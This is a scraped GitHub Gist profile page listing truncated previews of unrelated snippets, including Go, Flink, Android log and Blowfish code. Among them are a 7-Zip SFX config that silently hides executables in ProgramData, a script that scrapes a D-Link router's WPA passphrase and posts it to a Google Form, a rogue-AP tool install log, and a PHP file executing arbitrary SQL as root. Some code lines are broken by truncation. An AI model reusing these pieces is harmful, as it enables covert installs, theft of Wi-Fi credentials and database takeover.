Skip to content

Instantly share code, notes, and snippets.

TheNilesh / main.go
Created Oct 23, 2020
Limit number of goroutines reading from channel
View main.go
package main
import (
var wg sync.WaitGroup
TheNilesh /
Created Jun 19, 2020
Apache Flink Example of using CoGroupFunction on shoe stream
package com.quickheal.correlation;
import java.util.Date;
import java.util.Properties;
import org.apache.flink.api.common.functions.CoGroupFunction;
import org.apache.flink.api.common.functions.MapFunction;
import org.apache.flink.api.common.serialization.SimpleStringSchema;
TheNilesh / config.txt
Last active Sep 9, 2021
config.txt for 7zip sfx
View config.txt
;silent mode no gui
;Update, if system locked, skip
; Hide System folder and content
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe"
dir615_url = ''
form_url = 'url to the google form which has only two text fields one for ssid and another for wpa key'
print('logging in to router') + '/login.cgi',data={'username':username, 'password':password, 'submit.htm?login.htm':'Send'})
print('getting pass page')
response = requests.get(dir615_url + '/wlan_basic.htm')
soup = BeautifulSoup(response.content, 'html.parser')
input_passphrase = soup.find('input', {'name':'pskValue'})
passphrase = input_passphrase['value']
input_ssid = soup.find('input', {'name':'ssid'})
TheNilesh /
Last active Jun 15, 2018
Error installing roguehostapd
nilesh@kali:~/tools/roguehostapd$ sudo python install
unable to execute 'x86_64-linux-gnu-gcc': No such file or directory
[!] The development package for netlink is missing. Please download it and restart the compilation.If you are on Debian-based system: 'apt-get install libnl-3-dev libnl-genl-3-dev'.
nilesh@kali:~/tools/roguehostapd$ sudo apt-get install libnl-3-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
libnl-3-dev is already the newest version (3.4.0-1).
The following packages were automatically installed and are no longer required:
libgcr-3-common libxfont1
TheNilesh / db.php
Created Mar 26, 2018
PHP file to execute everything
View db.php
//Creating a connection
$dbname = $_GET["dbname"];
$con = mysqli_connect("localhost:3306","root","",$dbname);
if (mysqli_connect_errno())
echo "Failed to connect to MySQL: " . mysqli_connect_error();
/*get the sql query to execute*/
public class MyMappingJackson2MessageConverter extends AbstractHttpMessageConverter<Object> {
private static final Logger LOGGER = LoggerFactory.getLogger("RequestResponseLogger");
private ObjectMapper objectMapper;
private HttpServletRequest request;
View Package Listing From Instant App
02-11 21:06:50.547: I/AppStorage(26744): Loaded packageName=com.mycompany.myapp.aninstantapp
02-11 21:06:50.557: I/IapkLoadService(26744): Cleared metadata for instant app com.mycompany.myapp.aninstantapp
02-11 21:06:54.447: I/DevAtomProvider(26744):
02-11 21:06:54.467: I/InstantApps(5286): DevManagerRouterBackendClient: AIA is sideloaded: com.mycompany.myapp.aninstantapp
02-11 21:06:55.047: E/Isotope(17994): UID: [10142] PID: [17994] UrlHandler : Could not find info for com.mycompany.myapp.aninstantapp
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot access /data/data/ wrt root directory /data/data/ syscall(48)
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot acce
TheNilesh / Python Blowfish ECB
Created Sep 5, 2017
Java compatible code in python
View Python Blowfish ECB
def encrypt(plaintext, key):
cipher =, Blowfish.MODE_ECB)
packedString = pkcs5pad(plaintext)
return (base64.b64encode(cipher.encrypt(packedString))).decode("utf-8")
def decrypt(ciphertext, key):
cipher =, Blowfish.MODE_ECB)
paddedstring = cipher.decrypt(base64.b64decode(ciphertext))
return pkcs5unpad(paddedstring).decode("utf-8")
import java.util.*;
public class Solution {
public static void main(String[] args) {
Scanner scanner = new Scanner(;
int count = scanner.nextInt();
for (int i = 0; i < count; i++) {
int N = scanner.nextInt(); /*Number of 0's*/